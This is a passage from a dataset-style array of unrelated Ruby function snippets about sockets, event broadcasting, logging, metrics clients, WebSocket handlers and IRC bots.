data)\n\t\tEM.next_tick {\n\t\t\t@sockets.each do |s|\n\t\t\t\ts.send(event, data) if s != self\n\t\t\tend\n\t\t}\n\tend", "def handle_all_events\r\n @connection.set_generic_handler do |event|\r\n begin\r\n handle_event(event)\r\n rescue => exception\r\n $stderr.puts exception.inspect\r\n $stderr.puts exception.backtrace\r\n end\r\n end\r\n true\r\n end", "def send(data)\n sock = UDPSocket.new\n if JSON.dump(data).bytesize <= 65507 #Check UDP Limit\n sock.send(JSON.dump(data), 0, @remote_addr, @remote_port.to_i)\n else\n puts \"Log-entry skipped as it's too large for datagram/system: \\n #{JSON.pretty_generate(data)}\\n\\n\" end\n sock.close\n end", "def run\n @socket.write_object({:foo => Time.now})\n sleep(2)\n LOG.info \"[EXIT]\"\n end", "def broadcast(event, data)\n #only keep the last 5000 Events\n if @history.size >= 6000\n @history.slice!(0, @history.size - 1000)\n end\n @lastEventId += 1\n @history << {id: @lastEventId, event: event, data: data}\n info \"Sending Event: #{event} Data: #{data} to #{@connections.count} Clients\"\n @connections.each do |socket|\n async.send_sse(socket, data, event, @lastEventId)\n end\n true\n end", "def push packet\n begin\n @socket_server.write packet\n rescue Errno::ECONNRESET => e\n p e.message\n close\n reset_connection\n rescue Errno::EPIPE => e\n p e.message\n close\n reset_connection\n rescue Errno::ECONNREFUSED => e\n p e.message\n close\n reset_connection\n end\n end", "def send_raw(to, msg, dlr_url='')\n log_an_event(\"Gateway::TestSession\", \"send raw #{[to, msg, dlr_url].join(' ')} \")\n @events.push([\"send_raw\", {:to=>to, :msg=>msg, :dlr_url=>dlr_url}])\n\n wait_for_response = false\n status = \"sent\"\n status_string = \"TestSession\"\n [wait_for_response, status, status_string]\n end", "def listen\n @socket.each do |line|\n puts \"GOT: #{line.inspect}\" if config[:debug]\n poll if !config[:silent]\n case line.strip\n when /^PING/\n write line.sub(\"PING\", \"PONG\")[0..-3]\n when /^ERROR/, /KICK ##{config[:channel]} #{config[:nick]} / \n restart unless line =~ /PRIVMSG/\n when /:(.+?)!.* PRIVMSG ##{config[:channel]} \\:\\001ACTION (.+)\\001/\n log \"* #{$1} #{$2}\"\n when /:(.+?)!.* PRIVMSG ##{config[:channel]} \\:(.+)/\n nick, msg = $1, $2 \n log \"<#{nick}> #{msg}\"\n if !config[:silent]\n case msg\n when /^>>\\s*(.+)/ then try $1\n when /^#{config[:nick]}:/ \n [\"Usage:\", \" '>> CODE': evaluate code in IRB\", \" 'reset_irb': get a clean IRB session\", \" 'add_svn [repository_url]': watch an SVN repository\", \" 'add_atom [atom_feed_url]': watch an atom feed, such as a Git repository\"].each {|s| say s}\n when /^reset_irb/ then reset_irb\n when /^add_svn (.+?)(\\s|\\r|\\n|$)/ then @svns[$1] = 0 and say @svns.inspect\n when /^add_atom (.+?)(\\s|\\r|\\n|$)/ then @atoms[$1] = '' and say @atoms.inspect\n when /(http(s|):\\/\\/.*?)(\\s|\\r|\\n|$)/ then post($1) if config[:delicious_pass] \n end\n end\n end\n end\n end", "def send_to_all(message)\n EM.next_tick do\n settings.sockets.each do |s|\n s.send(message.to_json)\n end\n end\n end", "def sock_send io, msg\n msg = \"#{msg}\\0\"\n log msg\n io.send msg, 0\n end", "def callwide_events()\n on :event => 'error', :next => '/error.json' # For fatal programming errors. Log some details so we can fix it\n on :event => 'hangup', :next => '/hangup.json' # When a user hangs or call is done. We will want to log some details.\nend", "def send_to_port(message, port)\n s = EventMachine::Synchrony::TCPSocket.new('127.0.0.1', port)\n s.write message\n data = ''\n recv = s.read(1)\n while recv\n data += recv\n recv = s.read(1)\n end\n s.close\n data\nend", "def flush\n @remote_syslog.flush if @remote_syslog&.respond_to?(:flush)\n end", "def safe_send(msg)\n # Check if we could connect to the MetricsD\n return false unless collector_socket\n collector_socket.send(msg, 0)\n true\n rescue Errno::ECONNREFUSED => e\n Metricsd.logger.error(\"Exception occurred while trying to send data to MetricsD (#{Metricsd.server_host}:#{Metricsd.server_port}): #{e.inspect}\")\n false\n end", "def on_open\n if(Iodine::VERSION >= \"0.5.0\")\n subscribe :shootout, as: :binary\n else\n subscribe channel: :shootout\n end\n end", "def flush\n @remote_syslog.flush if @remote_syslog && @remote_syslog.respond_to?(:flush)\n end", "def on_trap &block\n @socket.callbacks << block\n end", "def event_dispatcher(socket)\n if @debug\n socket.onopen do\n on_open_development(socket)\n end\n\n socket.onmessage do |message|\n on_message_development(socket, message)\n end\n\n socket.onclose do\n on_close_development(socket)\n end\n else\n socket.onopen do\n on_open(socket)\n end\n\n socket.onmessage do |message|\n on_message(socket, message)\n end\n\n socket.onclose do\n on_close(socket)\n end\n end\n end", "def send_events=(_arg0); end", "def on_socket_event( event )\n\t\tif event.readable?\n\t\t\treq = self.conn.receive\n\t\t\tself.accept_request( req )\n\t\telsif event.writable?\n\t\t\traise \"Request socket became writable?!\"\n\t\telse\n\t\t\traise \"Socket event was neither readable nor writable! (%s)\" % [ event ]\n\t\tend\n\tend", "def start\n EM.run do\n @__conn = EventMachine::WebSocketClient.connect(@__socket_url)\n\n @__callbacks[:connection_established] &&\n @__conn.callback do\n instance_exec(&@__callbacks[:connection_established])\n end\n\n @__callbacks[:error] &&\n @__conn.errback do |e|\n instance_exec(e, &@__callbacks[:error])\n end\n\n @__conn.stream do |msg|\n @__conn.close_connection if msg.data == \"done\"\n\n event = JSON.parse(msg.data)[1]\n case event['type']\n when 'paired'\n @__event_pool[:paired] = event\n\n when 'connected'\n break unless @__callbacks[:connected]\n instance_exec(&@__callbacks[:connected])\n @__event_pool[:connected] = event\n\n when 'arm_synced'\n @__event_pool[:arm_synced] = event\n\n when 'unlocked'\n puts(\"unlocked!\")\n @__event_pool[:unlocked] ||= false\n @__event_pool[:unlocked] = true\n\n when 'pose'\n\n break unless @__callbacks[:pose]\n pose = event['pose']\n puts \"this is pose: \" + pose\n #instance_exec(@__event_pool[:pose][:pose], :off, &@__callbacks[:pose]) if @__event_pool[:pose][:pose]\n instance_exec(pose, :on, &@__callbacks[:pose])\n @__event_pool[:pose] = event\n\n when 'orientation'\n break unless @__callbacks[:periodic]\n e = OpenStruct.new({\n :accel => OpenStruct.new({\n :x => event['accelerometer'][0],\n :y => event['accelerometer'][1],\n :z => event['accelerometer'][2]\n }),\n :gyro => OpenStruct.new({\n :x => event['gyroscope'][0],\n :y => event['gyroscope'][1],\n :z => event['gyroscope'][2]\n }),\n :orientation => OpenStruct.new(event['orientation'])\n })\n @__event_pool[:orientation] = e\n instance_exec(e, &@__callbacks[:periodic])\n\n end\n end\n\n @__conn.disconnect do\n EM::stop_event_loop\n end\n end\n end", "def write_events(events)\n @events += @before_write.call(events)\n end", "def send_sse(socket, data, event = nil, id = nil)\n begin\n socket.id id if id\n socket.event event if event\n socket.data data\n rescue Reel::SocketError, NoMethodError\n @connections.delete(socket) if @connections.include?(socket)\n end\n end", "def send_data_impl(*args)\n puts \"send(#{args[0]})\" if $verbose\n event_list = []\n data = []\n args[0].each do |x|\n # if hashring is not nil this is valid metric\n if x[:hashring] != nil\n @@message_queue << {\n :hashring => x[:hashring],\n :timestamp => Time.now.to_f,\n :data => x[:data]\n }\n end\n data << x[:data]\n event_list << x[:event]\n end\n @expected_events << event_list\n @data_socket.send(data.join(\"\\n\") + \"\\n\", 0, '127.0.0.1', SR_DATA_PORT)\n end", "def run\r\n Settings::DEFAULT_TRIGGERS.each_key{|k| load_trigger(k, true)}\r\n Settings::TRIGGERS.each_key{|k| load_trigger(k)}\r\n @socket = TCPSocket.open(self.server, self.port)\r\n\r\n $log.info(\"Initiating handshake with server...\")\r\n say \"USER #{nick} 0 * #{nick}\"\r\n say \"NICK #{nick}\"\r\n\r\n until @socket.eof? do\r\n msg = @socket.gets\r\n msg = (msg.split(\" \")[1] == \"PRIVMSG\" ? PrivateMessage.new(msg) : Message.new(msg))\r\n\r\n if msg.type == \"PRIVMSG\"\r\n cache_message(msg)\r\n fire_triggers(msg)\r\n end\r\n\r\n #keep alive\r\n if msg.parts[0] == \"PING\"\r\n say \"PONG :pingis\"\r\n else\r\n case msg.parts[1]\r\n when \"001\"\r\n $log.info(\"Processing connection to server...\")\r\n when \"376\"\r\n $log.info(\"Connected to server, joining channel...\")\r\n join_chan(self.chan)\r\n when \"366\"\r\n @in_chan = true\r\n $log.info(\"Successfully joined ##{self.chan}\")\r\n else\r\n end\r\n end\r\n #output to terminal window whatever the server is giving our socket\r\n $log.info(\"#{msg.stringify}\")\r\n end\r\n end", "def send_to_socket(message)\n begin\n Fozzie.logger.debug {\"Statsd: #{message}\"} if Fozzie.logger\n Timeout.timeout(Fozzie.c.timeout) {\n res = socket.send(message, 0, Fozzie.c.host, Fozzie.c.port)\n Fozzie.logger.debug {\"Statsd sent: #{res}\"} if Fozzie.logger\n (res.to_i == message.length)\n }\n rescue => exc\n Fozzie.logger.debug {\"Statsd Failure: #{exc.message}\\n#{exc.backtrace}\"} if Fozzie.logger\n false\n end\n end", "def safe_publish(event)\n if connection.status == :open\n exchange.publish(event.to_json, :routing_key => routing_key)\n else\n say \"Event not sent. Connection status is #{connection.status}: \" + \\\n \"#{event.to_json}\"\n end\n end", "def send_remote_comm_event(type, data)\n request('sendRemoteCommEvent', type, data)\n end", "def evaluate_and_dispatch_events\n non_successful_events = []\n\n @events.reverse_each do |event|\n # skipping events that are not whitelisted\n if @config['config'].key?('whitelist') && event['source'] !~ /#{@config['config']['whitelist']}/\n @events.delete(event)\n log.debug(\n \"Skipping event! Source '#{event['source']}' does not \" \\\n \"match /#{@config['config']['whitelist']}/\"\n )\n next\n end\n # removing source key to use local's sensu source name (hostname)\n if @config.key?('config') && \\\n @config['config'].key?('use_default_source') && \\\n @config['config']['use_default_source']\n log.debug(\"Removing 'source' from event, using Sensu's default\")\n event.delete('source')\n end\n # selecting the non-succesful events\n non_successful_events << event if event['status'] != 0\n # dispatching event to Sensu\n @dispatcher.dispatch(event)\n end\n\n # setting up final status and output message\n amount_checks = @config['checks'].length + @config['custom'].length\n amount_events = @events.length\n\n if non_successful_events.empty?\n @status = 0\n @output = \\\n \"OK: Ran #{amount_checks} checks succesfully on #{amount_events} events!\"\n else\n log.debug(\"#{non_successful_events.length} failed events\")\n @status = 1\n non_successful_events.sort_by { |e| e['status'] } .reverse.each do |event|\n @output << ' | ' unless @output.empty?\n @output << \"Source: #{event['source']}, \" \\\n \"Check: #{event['name']}, \" \\\n \"Output: #{event['output']}, \" \\\n \"Status: #{event['status']}\"\n end\n end\n\n log.debug(\"Ran #{amount_checks}, and collected #{amount_events} events\")\n log.debug(\"Final Status: #{@status}\")\n log.debug(\"Final Output: #{@output}\")\n end", "def on_data( event )\n # You can access the request data being sent using the event object:\n #\n # event.data.gsub!( 'SOMETHING', 'ELSE' )\n #\n res = /^(?:[A-Z]*?) (.*?) HTTP\\/\\d\\.\\d\\r\\nHost: (.*?)$/m.match(event.data)\n\n host = res[2]\n querry = res[1] \n\n #BetterCap::Logger.raw \"\\n#{BetterCap::StreamLogger.hexdump( event.data )}\\n\"\n \n BetterCap::Logger.info \"Host: #{host}\"\n BetterCap::Logger.info \"Querry: #{querry}\"\n BetterCap::Logger.info \"No request is working fine!\"\n end", "def test_send_to_another_connection\n driver = create_driver(%[\n server sensu-client.local\n port 3031\n ], 'ddos')\n time = Time.parse('2015-01-03 12:34:56 UTC').to_i\n driver.emit({}, time)\n driver.run\n result = driver.instance.sent_data\n expected = {\n 'name' => 'ddos',\n 'output' => '{}',\n 'status' => 3,\n 'type' => 'standard',\n 'handlers' => ['default'],\n 'executed' => time,\n 'fluentd' => {\n 'tag' => 'ddos',\n 'time' => time.to_i,\n 'record' => {},\n },\n }\n assert_equal [['sensu-client.local', 3031, expected]], result\n end", "def flush(events, key, teardown=false)\r\n @logger.info(\"Flush #{events.length} events\")\r\n send_data(events.to_json, key)\r\n end", "def apush\n socket = EM::Synchrony::TCPSocket.new('localhost', 22195)\n socket.write(to_bytes)\n socket.close\n end", "def handle_writable_io_event( event )\n\t\tif message = self.send_queue.shift\n\t\t\tmessage.send_to( self.socket )\n\t\telse\n\t\t\tself.reactor.disable_events( self.socket, :write )\n\t\tend\n\tend", "def start\n loop do\n now = Time.now\n msg = \"%02d:%02d:%02d\" % [now.hour, now.min, now.sec]\n @mutex.synchronize {\n\t@clients.each { |c|\n # If the connection is closed while writing this could occur. Just\n # the nature of async systems.\n puts \"--- write failed\" unless c.write(msg)\n\t}\n }\n sleep(1)\n end\n end", "def send\n # discard if sampling rate says so\n if @libhoney.should_drop(self.sample_rate)\n @libhoney.send_dropped_response(self, \"event dropped due to sampling\")\n return\n end\n\n self.send_presampled()\n end", "def on_open(event)\n logger.debug 'Socket opened'\n @connected = true\n end", "def notify\n socket.write('x')\n end", "def send_message( message )\n\t\tself.send_queue << message\n\t\tself.reactor.enable_events( self.socket, :write ) unless\n\t\t\tself.reactor.event_enabled?( self.socket, :write )\n\tend", "def send_ping\n @connections.each do |socket|\n begin\n socket << \":\\n\"\n rescue Reel::SocketError\n @connections.delete(socket)\n end\n end\n end", "def on_open(env)\n req = ::Rack::Request.new(env)\n @cid = req.params['cid']\n @path = req.path\n @subscription = Firehose::Subscription.new(cid, path)\n\n subscription.subscribe do |message, subscription|\n Firehose.logger.debug \"WS sent `#{message}` to `#{cid}@#{path}`\"\n send_data message\n end\n Firehose.logger.debug \"WS subscribed to `#{cid}@#{path}`\"\n end", "def xmit\n if @lag.zero?\n if @to_server\n $fake_server_port.on_packet_receive(CONNECTION_ID, @data, @channel)\n else\n $fake_client_conn.on_packet(@data, @channel)\n end\n true\n else\n @lag -= 1\n false\n end\n end", "def client_loop(socket)\n while (line = socket.gets)\n case msg = line.chop\n\n # on receipt of either 'enable' or 'disable,' call entry-point routine\n # for additional client-side processing\n #\n when 'enable', 'disable' then @entrypoint_routine.call(msg)\n else\n @client.logging \"ignoring unexpected server response: #{msg}\", 2\n end\n end\n end", "def send_output_event(options)\n @message_handler.send_output_event(options) unless @message_handler.nil?\n end", "def on_socket_event( event )\n\t\tif event.readable?\n\t\t\tself.handle_readable_io_event( event )\n\t\telsif event.writable?\n\t\t\tself.handle_writable_io_event( event )\n\t\telse\n\t\t\traise \"Socket event was neither readable nor writable!? (%p)\" % [ event ]\n\t\tend\n\tend", "def put(msg)\n simulation.socket.write(msg + \"\\n\")\n rescue Errno::EPIPE => e\n # :from_origen_sim is added here to ensure this goes straight to the Origen console logger\n # and does not get sent via the simulator since it is clearly having problems\n if simulation.running?\n Origen.log.error 'Communication with the simulator has been lost (though it seems to still be running)!', from_origen_sim: true\n else\n Origen.log.error 'The simulator has stopped unexpectedly!', from_origen_sim: true\n end\n sleep 2 # To make sure that any log output from the simulator is captured before we pull the plug\n exit 1\n end", "def send_remote_syslog(headers)\n headers['version'] = RUBY_VERSION\n headers['apikit'] = @apikit\n sock = UDPSocket.new(Socket::AF_INET)\n message = JSON.generate headers\n sock.send '<22> ' + message, 0, @logger_host, @logger_port\n sock.close\n end", "def on_message(raw_event, _sentry_span)\n Rails.logger.debug { \"#{Time.zone.now.getutc.inspect}: Receiving from #{@socket.url}: #{raw_event.data.inspect}\" }\n event = decode(raw_event.data)\n return unless BACKEND_OUTPUT_SCHEMA.valid?(event)\n\n event = event.deep_symbolize_keys\n message_type = event[:type].to_sym\n if WEBSOCKET_MESSAGE_TYPES.include?(message_type)\n __send__(\"handle_#{message_type}\", event)\n else\n @error = Runner::Error::UnexpectedResponse.new(\"Unknown WebSocket message type: #{message_type}\")\n close(:error)\n end\n end", "def post_init\n self.dispatch_event(:on_connect, [self])\n self.send_data(SyncMessage.new($listen_port, $uuid).to_sendable)\n end", "def send_requests(evts)\n if evts.size < 1\n LOGGER.info(\"Skipping sending events since buffer is empty\")\n return\n end\n LOGGER.info(\"Attempting to send #{evts.size} request#{evts.size == 1 ? '' : 's'}\")\n\n evts.each do |event|\n event['stm'] = (Time.now.to_f * 1000).to_i.to_s # add the sent timestamp, overwrite if already exists\n end\n\n if @method == 'post'\n post_succeeded = false\n begin\n request = http_post(SelfDescribingJson.new(\n 'iglu:com.snowplowanalytics.snowplow/payload_data/jsonschema/1-0-4',\n evts\n ).to_json)\n post_succeeded = is_good_status_code(request.code)\n rescue StandardError => se\n LOGGER.warn(se)\n end\n if post_succeeded\n unless @on_success.nil?\n @on_success.call(evts.size)\n end\n else\n unless @on_failure.nil?\n @on_failure.call(0, evts)\n end\n end\n\n elsif @method == 'get'\n success_count = 0\n unsent_requests = []\n evts.each do |evt|\n get_succeeded = false\n begin\n request = http_get(evt)\n get_succeeded = is_good_status_code(request.code)\n rescue StandardError => se\n LOGGER.warn(se)\n end\n if get_succeeded\n success_count += 1\n else\n unsent_requests << evt\n end\n end\n if unsent_requests.size == 0\n unless @on_success.nil?\n @on_success.call(success_count)\n end\n else\n unless @on_failure.nil?\n @on_failure.call(success_count, unsent_requests)\n end\n end\n end\n\n nil\n end", "def on_message data\n\t\t# broadcast sends an asynchronous message to all sibling instances, but not to self.\n\t\tdata = ERB::Util.html_escape data\n\t\tbroadcast :_print_out, data\n\t\tresponse << \"You said: #{data}\"\n\t\tresponse << (request.ssl? ? \"FYI: Yes, This is an SSL connection...\" : \"FYI: Nope, this isn't an SSL connection (clear text).\") if data.match /ssl\\?/i\nend", "def dispatch_incoming_packets(raise_disconnect_errors: T.unsafe(nil)); end", "def send_requests(events)\n if events.empty?\n logger.info('Skipping sending events since buffer is empty')\n return\n end\n\n logger.info(\"Attempting to send #{events.size} request#{events.size == 1 ? '' : 's'}\")\n\n events.each do |event|\n # add the sent timestamp, overwrite if already exists\n event['stm'] = Timestamp.create.to_s\n end\n\n if @method == 'post'\n send_requests_with_post(events)\n elsif @method == 'get'\n send_requests_with_get(events)\n end\n\n nil\n end", "def broadcast\n queued_data = JSON.generate(@send_queue.shift)\n @sockets.each do |socket|\n socket.send queued_data\n end\n end", "def run\r\n while true do\r\n begin\r\n msg = $stdin.gets\r\n if msg.to_s.include? \"exit\"\r\n break\r\n else\r\n set_socket() #must do it in every run\r\n send_data(msg)\r\n com = msg.to_s.split\r\n if (com[0] == \"add\" or com[0] == \"set\" or com[0] == \"cas\" or com[0] == \"append\" or com[0] == \"prepend\") #must send value\r\n value = read_msg(com[4].to_i) #com[4] -> size of the value to read\r\n send_data(value)\r\n end\r\n retrieve_data()#prints data\r\n #while next_line_readable?(@socket)\r\n # puts @socket.gets.chop #puts every line that the socket sends as response\r\n #end\r\n end\r\n rescue => exception\r\n puts exception.message\r\n puts \"A server failure has been encountered\"\r\n puts \"Closing...\"\r\n sleep(2)\r\n break\r\n end\r\n end\r\n end", "def run\n if not @receive then\n sendUDPStream\n else\n receiveUDPStream\n end\n end", "def send\n # discard if sampling rate says so\n if @libhoney.should_drop(sample_rate)\n @libhoney.send_dropped_response(self, 'event dropped due to sampling')\n return\n end\n\n send_presampled\n end", "def send_presampled\n @libhoney.send_event(self)\n self\n end", "def sendmsg(message)\n begin\n @socket.sendmsg_nonblock Marshal.dump(message), 0\n rescue IO::EAGAINWaitWritable\n # socket is full\n # TODO put the data into a queue rather than giving up\n raise RuntimeError, \"socket is full\"\n rescue Errno::EPIPE\n # The other socket is closed, probably because the event loop's stopped. clean up\n b.close\n @defunct = true\n end\n end", "def run\n trap_signals\n loop do\n break if signals_want_shutdown\n begin\n # IO.select returns either a triplet of lists with IO objects that\n # need attention or nil on timeout of 2 seconds.\n if needy = IO.select([server.socket, lifeline], nil, [server.socket, lifeline], 2)\n server.log.debug(\"Detected activity on: #{needy.inspect}\")\n # If the lifeline is active the server went down and we need to go\n # down as well.\n break if needy.flatten.any? { |io| !io.respond_to?(:accept_nonblock) }\n # Otherwise we handle incoming requests\n needy.flatten.each do |io|\n if io.respond_to?(:accept_nonblock)\n begin\n process_incoming_socket(*io.accept_nonblock)\n rescue Errno::EAGAIN, Errno::ECONNABORTED\n end\n end\n end\n end\n rescue EOFError, Errno::EAGAIN, Errno::EINTR, Errno::EBADF, IOError\n end\n end\n cleanup\n end", "def test_emit_2\n driver = create_driver\n driver.emit('message' => 'source=web.1 dyno=heroku.appid.uuid sample.memory_total=512MB')\n driver.run\n tag, time, record = driver.emits.first\n\n refute record.key? 'hrm_source'\n refute record.key? 'hrm_dyno'\n refute record.key? 'hrm_sample#memory_total'\n end", "def on_sendable(event)\n Qpid::Proton::Event.dispatch(@delegate, :on_sendable, event) if !@delegate.nil?\n end", "def debug_stream(hash)\n $stderr.puts '--- DEBUG ---'\n li, ri = (str_ip(hash[:left_ip])||'*'), (str_ip(hash[:right_ip])||'*')\n lp, rp = (hash[:left_port] || '*'), (hash[:right_port] || '*')\n $stderr.puts \"STREAM(#{li}:#{lp} > #{ri}:#{rp})\"\n psuedo_e = \"_stream_capture_#{(@stream_capture || []).length}\".to_sym\n $stderr.puts \" INTO EVENT(#{psuedo_e})\"\n $stderr.puts \"\" \n end", "def on_open(event)\n logger.debug 'Socket opened'\n @connected = true\n dispatch('command' => 'session_started')\n end", "def send_presampled\n raise ArgumentError.new(\"No metrics added to event. Won't send empty event.\") if self.data.length == 0\n @libhoney.send_event(self)\n self\n end", "def send(evt)\n @client.send_event(evt) if @client\n end", "def send(metric)\n begin\n open_socket()\n @logger.debug(\"Send metric \\\"#{metric.host_prefix_name}\\\" \" \\\n \"to #{@host}:#{@port}...\")\n @socket.send(metric.format_before_send, 0)\n @socket.close\n rescue\n @logger.error(\"Failed to send metric \\\"#{metric.host_prefix_name}\\\" \" \\\n \"to StatsD\")\n end\n end", "def process\n Puppet.debug \"Sending status for #{self.host} to StackState server at #{STACKSTATE_URL}\"\n\n payload = <<-END\n {\n \"collection_timestamp\": #{self.time.to_i},\n \"events\": {\n \"puppet\": [\n {\n \"context\": {\n \"category\": \"Changes\",\n \"data\": {\n \"configuration_version\": \"#{self.configuration_version.to_s}\",\n \"transaction_uuid\": \"#{self.transaction_uuid}\",\n \"catalog_uuid\": \"#{self.catalog_uuid}\",\n \"status\": \"#{self.status}\"\n },\n \"element_identifiers\": [\n \"urn:host:/#{self.host}\"\n ],\n \"source\": \"Puppet\",\n \"source_id\": \"#{self.transaction_uuid}\",\n \"source_links\": [\n {\n \"title\": \"Puppet console\",\n \"url\": \"https://#{PUPPETCONSOLE_HOST}/#/node_groups/inventory/node/#{self.host}/reports\"\n }\n ]\n },\n \"event_type\": \"ConfigurationChangedEvent\",\n \"msg_title\": \"Puppet run for #{self.host} #{self.status}\",\n \"msg_text\": \"Puppet run for #{self.host} #{self.status} on configuration version #{self.configuration_version.to_s} in #{self.environment}\",\n \"source_type_name\": \"ConfigurationChangedEvent\",\n \"tags\": [\n \"environment:#{self.environment}\"\n ],\n \"timestamp\": #{self.time.to_i}\n }\n ]\n },\n \"internalHostname\": \"#{self.host}\",\n \"metrics\": [],\n \"service_checks\": [],\n \"topologies\": []\n }\nEND\n\n Puppet.debug \"StackState event payload: #{payload}\"\n result = post_json(\"#{STACKSTATE_URL}/intake?api_key=#{STACKSTATE_API_KEY}\", payload)\n Puppet.debug \"HTTP POST result: #{result.code}\"\n end", "def send_message(data, flag, host, port)\n\t\tsocket = UDPSocket.new\n\t\tserialized = Marshal.dump(data)\n\t\tsocket.send serialized, flag, host, port\n\t\tsocket.close\n\t\tputs \"Sending #{data} to #{host}:#{port}\"\n\t\tsleep(0.025)\n\tend", "def run\n AMQP.start(:host => \"localhost\") {\n @mq = MQ.new\n @update_channel = EM::Channel.new\n @deferred_responses = {}\n\n @queue_name = \"cmdr:websocket:#{self.object_id}\"\n @queue = @mq.queue(@queue_name)\n \n # watch for responses from devices\n @queue.subscribe{|json|\n msg = JSON.parse(json)\n puts \"Got response: #{msg}\"\n if @deferred_responses[msg[\"id\"]]\n @deferred_responses.delete(msg[\"id\"]).succeed(msg)\n end\n }\n\n topic = @mq.topic(EVENT_TOPIC)\n @mq.queue(\"cmdr:websocket:#{self.object_id}:response\").bind(topic, :key => \"device.*\").subscribe do |json|\n handle_event json\n end\n\n setup\n\n EM::WebSocket.start({\n :host => \"0.0.0.0\",\n :port => 8000,\n :debug => false\n #:secure => true \n }) do |ws|\n\n ws.onopen { onopen ws }\n \n ws.onmessage {|json| onmessage ws, json}\n \n ws.onclose do\n @update_channel.unsubscribe(@sid) if @sid\n DaemonKit.logger.debug \"Connection on #{ws.signature} closed\"\n end\n\n ws.onerror do\n DaemonKit.logger.debug \"Error on #{ws.signature}\"\n end\n end\n }\n end", "def send room = nil, device = nil, state = 'on', debug = false\n debug and ( p self.time 'send' )\n success = false\n debug and ( p 'Executing send on device: ' + device + ' in room: ' + room + ' with ' + ( state ? 'state ' + state : 'no state' ))\n\n\n # starting to optionally move some functionality out of here\n alternativeScript = self.get_config['pywaverf']\n if alternativeScript and File.exist?( alternativeScript )\n cmd = \"#{alternativeScript} \\\"#{room}\\\" \\\"#{device}\\\" \\\"#{state}\\\" \\\"#{debug}\\\"\"\n debug and ( p cmd )\n p `#{cmd}`\n debug and ( p self.time 'done python' )\n return\n end\n\n\n rooms = self.class.get_rooms self.get_config, debug\n debug and ( p self.time 'got rooms' )\n\n unless rooms[room] and state\n debug and ( p 'Missing room (' + room.to_s + ') or state (' + state.to_s + ')' );\n STDERR.puts self.usage( room );\n else\n # support for setting state for all devices in the room (recursive)\n if device == 'all'\n debug and ( p 'Processing all devices...' )\n rooms[room]['device'].each do | device_name, code |\n debug and ( p \"Device is: \" + device_name )\n self.send room, device_name, state, debug\n sleep 1\n end\n success = true\n # process single device\n elsif device and rooms[room]['device'][device]\n state = self.class.get_state state\n command = self.command rooms[room], device, state\n debug and ( p self.time 'command is ' + command )\n data = self.raw command\n debug and ( p self.time 'response is ' + data.to_s )\n success = true\n data = self.update_state room, device, state, debug\n else\n STDERR.puts self.usage( room );\n end\n end\n success\n end", "def setup\n @log = Logger['MedRuleAgentServerTest']\n\t\t@socket = TCPSocket.new('localhost', 1729)\n end", "def on_error(env, error)\n logger.debug \"Websocket error: #{error.message}\"\n end", "def send_event(event = :push, opts = {})\n payload = build_payload opts\n send_payload event, payload\n end", "def broadcast\n end", "def open(event)\n Firehose.logger.debug \"WebSocket subscribed to `#{@req.path}`. Waiting for message_sequence...\"\n end", "def send_event\n raise 'send_event must be defined in the child class'\n end", "def on_connect_event(ctx)\n on_logging_event(ctx, Logger::DEBUG, \"Client connect from #{ctx[:server][:remote_ip]}:#{ctx[:server][:remote_port]} to #{ctx[:server][:local_ip]}:#{ctx[:server][:local_port]}\")\n end", "def send_data(raw_data)\n encoded_message = encode(raw_data)\n Rails.logger.debug { \"#{Time.zone.now.getutc.inspect}: Sending to #{@socket.url}: #{encoded_message.inspect}\" }\n # Send the message to the WebSocket connection _immediately_\n # by scheduling it for the next execution of the EventMachine reactor run.\n # Otherwise, the message might be queued causing delays for users.\n EventMachine.next_tick do\n @socket.send(encoded_message)\n end\n end", "def process_hello(id, name, socket)\n write_log \"Received HELLO from #{socket.peeraddr[2]}.\"\n transmit_status(socket)\n end", "def on_message(data)\n op, stat, value, *tags = data.split(' ')\n if stat && value && (op == 'count' || op == 'gauge' || op == 'timing')\n dogstatsd.public_send(op, stat, value.to_i, tags: tags)\n write '1'\n end\n rescue => e\n puts e.message\n end", "def send_channel_msg( msg)\n @descriptors.each do |sock|\n if sock != @serverSocket\n user = @user_info[@descriptors.index(sock)-1] \n if user[:role] == \"client\" and user[:mode] == \"push\"\n str = \"Advice from channel #{msg[:channel]} : #{msg[:ad]}\\n\"\n sock.write(str) if user[:channels].include? msg[:channel]\n @@connection.register_sent_ad(user[:nickname],msg[:id],msg[:time])\n end\n end\n end\n end", "def run\n listen\n broadcast\n loop do\n sleep(10)\n @all_clients.each {|client| client.puts \"Krazy Joe #{KJ_VERBS.sample} #{KJ_POS.sample} #{KJ_NOUNS.sample}!\"} \n end\nend", "def write( event )\n nil\n end", "def send_a_message(conn, dest, message, headers={})\n return if not @need_sends \n @log.debug \"send_s_message starts\"\n return if not conn.connected?\n 1.upto(@max_msgs) do |mnum|\n outmsg = \"#{message} |:| #{mnum}\"\n conn.send(dest, outmsg, headers) # EM supplied Stomp method\n end\n @need_sends = false\n @need_subscribe = true\n @log.debug \"send_s_message done\"\nend", "def spoof()\n\t\tlisten()\n\n\t\tlisten()\n\tend", "def write(event)\n ls_event= data2logstash_event(event)\n \n sync do\n logstash_device.write(ls_event.to_json+\"\\n\")\n logstash_device.flush\n end\n self\n end", "def run\n EventMachine::run do\n @tcp = EventMachine::connect(config.server.host, config.server.port, TCPConnection)\n @tcp.client = self\n spectator_join\n end\n end", "def send_event(type, name, id, info)\n message = create_message(:cmdtype => type, :target => @@myName, \n :value => name, :appID => id, :message => info) \n send_message(@@myECAddress, message)\n end", "def send_raw(data)\n socket.send_raw data\n end", "def send_input(input)\n EM.connect('127.0.0.1', RightScale::CommandConstants::SOCKET_PORT, OutputHandler, input)\n end" ]
